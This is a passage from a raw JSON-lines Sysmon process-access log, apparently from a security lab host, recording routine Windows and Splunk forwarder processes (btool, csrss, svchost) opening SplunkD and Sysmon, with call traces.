AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407D-5F2D-0000-001063330500}","ParentProcessId":"3952","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-407D-5F2D-0000-001063330500}\r\nSourceProcessId: 3952\r\nSourceThreadId: 4392\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-00101F340500}\r\nTargetProcessId: 3068\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-407D-5F2D-0000-001063330500}","SourceProcessId":"3952","SourceThreadId":"4392","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-00101F340500}","TargetProcessId":"3068","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-00101F340500}\r\nTargetProcessId: 3068\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-00101F340500}","TargetProcessId":"3068","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 